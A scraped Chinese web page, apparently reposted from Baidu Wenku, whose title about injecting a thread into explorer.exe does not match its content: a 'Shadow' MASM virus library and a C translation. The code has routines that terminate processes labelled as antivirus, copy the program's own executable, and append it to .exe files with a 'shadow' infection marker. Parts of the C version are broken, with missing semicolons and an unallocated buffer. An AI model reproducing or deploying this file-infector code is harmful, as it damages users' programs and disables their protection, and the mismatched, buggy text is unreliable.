生理曲度变直恢复了:附加一个线程在 explorer.exe 上执行代码

来源:百度文库 编辑:偶看新闻 时间:2024/04/28 18:59:17
附加一个线程在 explorer.exe 上执行代码 群里的那个在做毕设的女生可以看看哦,虽然是汇编,但是能达到目的就行。
  1. ;##########################################################
  2. ; Shadow MASM Public Function Library
  3. ;##########################################################
  4. ;##########################################################
  5. GetWindowsVer proto
  6. KillAntiVirus  proto
  7. vBackupFile proto
  8. ReadVirusToMem proto :DWORD
  9. WriteVirusToExe proto :DWORD, :DWORD
  10. ;##########################################################

  11. ;##########################################################
  12. ; 判断 Windows 版本 测试通过
  13. ;##########################################################
  14. GetWindowsVer proc 
  15.   LOCAL OSVI:OSVERSIONINFO
  16.   mov OSVI.dwOSVersionInfoSize,SIZEOF(OSVERSIONINFO)
  17.   invoke GetVersionEx,addr OSVI
  18.   xor ebx,ebx
  19.   .IF OSVI.dwPlatformId == VER_PLATFORM_WIN32_NT
  20.    mov ebx,1
  21.   .ELSE
  22.    xor ebx,ebx
  23.   .ENDIF
  24.   invoke MessageBox,NULL,CTEXT("This is system NT"),CTEXT("Test"),MB_OK
  25.   ret
  26. GetWindowsVer endp

  27. ;##########################################################
  28. ; 终止杀毒软件 测试通过
  29. ;##########################################################
  30. KillAntiVirus proc 
  31.   LOCAL  lppe:PROCESSENTRY32
  32.   LOCAL  hProcessSnap:DWORD
  33.   
  34.   mov lppe.dwSize,SIZEOF PROCESSENTRY32
  35.   invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 ; 获取进程快照句柄
  36.   mov hProcessSnap,eax 
  37.   
  38.   ;循环获取进程信息判断是否为杀毒软件
  39.   invoke Process32First,hProcessSnap,addr lppe
  40.   .WHILE eax
  41.    invoke lstrcmp,addr lppe.szExeFile,CTEXT("notepad.exe")
  42.    .IF eax==0
  43.     invoke OpenProcess,PROCESS_TERMINATE,FALSE,lppe.th32ProcessID
  44.     invoke TerminateProcess,eax,-1 ;如果是杀毒软件 杀掉它
  45.    .ENDIF
  46.    
  47.    invoke Process32Next,hProcessSnap,addr lppe
  48.   .ENDW
  49.   invoke CloseHandle,hProcessSnap
  50.   ret
  51. KillAntiVirus endp

  52. ;##########################################################
  53. ; 备份病毒文件
  54. ;##########################################################
  55. vBackupFile proc
  56.   LOCAL hFindFile:DWORD
  57.   LOCAL byPath[MAX_PATH]:BYTE      ;保存搜索的路径[备份路径]
  58.   LOCAL bySearchPath[MAX_PATH]:BYTE   ;要搜索的路径及文件
  59.   LOCAL byFile[MAX_PATH]:BYTE      ;找到的文件 
  60.   LOCAL lpFileData:WIN32_FIND_DATA
  61.   
  62.   ;获取系统目录
  63.   invoke GetSystemDirectory,addr byPath,SIZEOF byPath
  64.   invoke lstrcat,addr bySearchPath,CTEXT("\*.exe")
  65.   invoke GetCurrentDirectory,sizeof byPath,addr byPath
  66.   
  67.   ;获得用于搜索的路径
  68.   invoke lstrcpy,addr bySearchPath,addr byPath
  69.   invoke lstrcat,addr bySearchPath,CTEXT("\Test\*.exe")
  70.   
  71.   ;备份路径
  72.   invoke lstrcat,addr byPath,CTEXT("\Test\")
  73.   
  74.   ;查找文件
  75.   invoke FindFirstFile,addr bySearchPath,addr lpFileData                            
  76.   .IF eax != INVALID_HANDLE_VALUE
  77.    mov hFindFile,eax
  78.    .WHILE eax
  79.     invoke lstrcpy,addr byFile,addr byPath
  80.     invoke lstrcat,addr byFile,addr lpFileData.cFileName
  81.     invoke ReadVirusToMem,addr byFile
  82.     invoke FindNextFile,hFindFile,addr lpFileData
  83.     
  84.    .ENDW
  85.    invoke FindClose,hFindFile
  86.   .ENDIF
  87.   
  88.   ;invoke MessageBox,NULL,CTEXT("Test Function vBackupFile OK!"),CTEXT("Test"),MB_OK
  89.   ret
  90. vBackupFile endp
  91. ;##########################################################
  92. ; 将病毒文件读入内存
  93. ;########################################################## 
  94. ReadVirusToMem Proc dwWriteFileName:DWORD
  95.   LOCAL hMem:DWORD  
  96.   LOCAL byFile[MAX_PATH]:BYTE
  97.   LOCAL hReadFile:DWORD, dwFileSize:DWORD, byOfRead:DWORD
  98.   
  99.   ;获取当前exe文件名并打开文件
  100.   invoke GetModuleFileName,hInstance,addr byFile,SIZEOF byFile
  101.   invoke CreateFile,addr byFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
  102.   .IF eax != INVALID_HANDLE_VALUE
  103.    mov hReadFile,eax
  104.   .ELSE
  105.    ret
  106.   .ENDIF
  107.   
  108.   ;获取当前exe文件大小 分配内存 读取文件
  109.   invoke GetFileSize,hReadFile,NULL
  110.   mov dwFileSize,eax
  111.   test eax,eax
  112.   je ExitFunction
  113.   
  114.   invoke GlobalAlloc,GPTR,dwFileSize
  115.   test eax,eax
  116.   je ExitFunction
  117.   mov hMem,eax
  118.   
  119.   invoke ReadFile,hReadFile,hMem,dwFileSize,addr byOfRead,NULL
  120.   invoke GlobalLock,hMem  
  121.   invoke WriteVirusToExe,dwWriteFileName,hMem
  122.   
  123.   ;invoke MessageBox,NULL,CTEXT("Test Function ReadVirusToMem OK!"),CTEXT("Test"),MB_OK
  124.   ExitFunction:
  125.   invoke GlobalUnlock,hMem
  126.   invoke GlobalFree,hMem
  127.   invoke CloseHandle,hReadFile
  128.   ret
  129. ReadVirusToMem endp

  130. ;##########################################################
  131. ; 将内存病毒写入文件并将已感染标志写入
  132. ;########################################################## 
  133. WriteVirusToExe proc dwOpenFileName:DWORD,dwWriteBuffer:DWORD
  134.   LOCAL FileFlag[8]:BYTE
  135.   LOCAL hFile:DWORD
  136.   LOCAL byOfRead:DWORD
  137.   LOCAL dwWriteSize:DWORD
  138.   LOCAL byOfWrite:DWORD
  139.   
  140.   invoke RtlZeroMemory,addr FileFlag,sizeof FileFlag
  141.   ;打开文件
  142.   invoke CreateFile,dwOpenFileName,GENERIC_READ or GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
  143.   .IF eax != INVALID_HANDLE_VALUE
  144.    mov hFile,eax
  145.   .ELSE
  146.    ret
  147.   .ENDIF
  148.   
  149.   ;设置文件读取位置 读取文件6个字节 判断文件是否感染
  150.   invoke SetFilePointer,hFile,-6,NULL,FILE_END
  151.   inc eax
  152.   je ExitFunction
  153.   dec eax
  154.    
  155.   invoke ReadFile,hFile,addr FileFlag,6,byOfRead,NULL
  156.   invoke lstrcmp,addr FileFlag,CTEXT("shadow")
  157.   test eax,eax
  158.   je ExitFunction
  159.   
  160.   invoke SetFilePointer,hFile,0,NULL,FILE_END
  161.   invoke GlobalSize,dwWriteBuffer
  162.   mov dwWriteSize,eax
  163.   invoke WriteFile,hFile,dwWriteBuffer,dwWriteSize,addr byOfWrite,NULL
  164.   
  165.   invoke SetFilePointer,hFile,0,NULL,FILE_END
  166.   invoke WriteFile,hFile,CTEXT("shadow"),6,addr byOfWrite,NULL
  167.   
  168.   ExitFunction:
  169.   invoke CloseHandle,hFile
  170.   ret
  171. WriteVirusToExe endp
  172. ==================================
  173. vc代码
==========================================
  1. VOID GetWindowsVer();
  2. VOID KillAntiVirus();
  3. VOID vBackupFile();
  4. VOID ReadVirsusToMem(DWORD);
  5. VOID WriteVirusToExe(DWORD,DWORD);

  6. GetWindowsVer()
  7. {
  8.         OSVERSIONINFO osvi;
  9.         osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  10.         GetVersionEx(&osvi);
  11.         if(osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
  12.                 __asm mov ebx, 1
  13.         else
  14.                 __asm xor ebx, ebx
  15.         MessageBox(NULL, TEXT("This is system NT"), TEXT("Test"), MB_OK);
  16.         return;
  17. }

  18. KillAntiVirus()
  19. {
  20.         PROCESSENTRY32 lppe;
  21.         HANDLE hProcessSnap;
  22.         lppe.dwSize = sizeof(PROCESSENTRY32)
  23.         hProcessSnap = CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  24.         BOOL bContinue = bProcess32First(hProcessSnap, &lppe);
  25.         while(bContinue)
  26.         {
  27.                 if(lstrcmp(&lppe.szExeFile, TEXT("notepad.exe")) == 0)
  28.                 {
  29.                         TerminateProcess(
  30.                                 OpenProcess(PROCESS_TERMINATE, FALSE, lppe.th32ProcessID), -1);
  31.                 }
  32.                 bContinue = Process32Next(hProcessSnap, &lppe);
  33.         }
  34.         CloseHandle(hProcessSnap);
  35.         return;
  36. }


  37. vBackupFile()
  38. {
  39.         HANDLE hFindFile;
  40.         BYTE byPath[MAX_PATH];
  41.         BYTE bySearchPath[MAX_PATH];
  42.         BYTE byFile[MAX_PATH];
  43.         WIN32_FIND_DATA lpFileData;
  44.         
  45.         GetSystemDirectory(byPath, MAX_PATH);
  46.         lstrcat(bySearchPath, TEXT("\*.exe"));
  47.         GetCurrentDirectory(MAX_PATH, byPath);
  48.         
  49.         lstrcpy(bySearchPath, byPath)
  50.         lstrcat(bySearchPath, TEXT("\Test\*.exe"));
  51.         lstrcat(byPath, TEXT("\Test\"));
  52.         
  53.         if((hFindFile = FindFirstFile(bySearchPath, &lpFileData)) != INVALID_HANDLE_VALUE)
  54.         {
  55.                 while(hFindFile)
  56.                 {
  57.                         lstrcpy(byFile, byPath)
  58.                         lstrcat(byFile, &lpFileData.cFileName);
  59.                         ReadVirusToMem(byFile);
  60.                         FindNextFile(hFindFile, &lpFileData);
  61.                 }
  62.                 FindClose(hFindFile);
  63.         }
  64.         //Message(NULL, TEXT("Test Function vBackupFile OK!"), TEXT("test"), MB_OK);
  65.         return;
  66. }
  67.         
  68. ReadVirusToMem(DWORD dwWriteFileName)
  69. {
  70.         HANDLE hMem;
  71.         BYTE byFile[MAX_PATH];
  72.         HANDLE hReadFile;
  73.         DWORD dwFileSize, byOfRead;
  74.         GetModuleFileName(hInstance, byFile, MAX_PATH);
  75.         if((hReadFile = CreateFile(byFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
  76.                 return;
  77.         dwFileSize = GetFileSize(hReadFile, NULL);
  78.         if(dwFileSize == 0)
  79.                 goto ExitFunction;
  80.         ReadFile(hReadFile, hMem, dwFileSize, &byOfRead, NULL);
  81.         GlobalLock(hMem);
  82.         WriteVirusToExe(dwWriteFileName, hMem);
  83.         //MessageBox(NULL, TEXT("Test Function ReadVirusToMem OK!"), TEXT("Test"), MB_OK);
  84. ExitFunction:
  85.         GlobalUnlock(hMem);
  86.         GlobalFree(hMem);
  87.         CloseHandle(hReadFile);
  88.         return;
  89. }

  90. WriteVirusToExe(DWORD dwOpenFileName, DWORD dwWriteBuffer)
  91. {
  92.         BYTE FileFlag[8];
  93.         HANDLE hFile;
  94.         DWORD byOfRead;
  95.         DWORD dwWriteSize;
  96.         DWORD byOfWrite;
  97.         
  98.         RtlZeroMemory(FileFlag, 8);
  99.         hFile = CreateFile(dwOpenFileName, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL);
  100.         if(hFile == INVALID_HANDLE_VALUE)
  101.                 return;
  102.         if(SetFilePointer(hFile, -6, NULL, FILE_END) == -1)
  103.                 goto ExitFunction;
  104.         ReadFile(hFile, FileFlag, 6, byOfRead, NULL);
  105.         if(lstrcmp(FileFlag, TEXT("shadow")) == 0)
  106.                 goto ExitFunction;
  107.         SetFilePointer(hFile, 0, NULL, FILE_END);
  108.         dwWriteSize = GlobalSize(dwWriteBuffer);
  109.         WriteFile(hFile, dwWriteBuffer, dwWriteSize, &byOfWrite, NULL);
  110.         SetFilePointer(hFile, 0, NULL, FILE_END);
  111.         WriteFile(hFile, TEXT("shadow"), 6, &byOfWrite, NULL);
  112.         
  113. ExitFunction:
  114.         CloseHandle(hFile);
  115.         return;
  116. }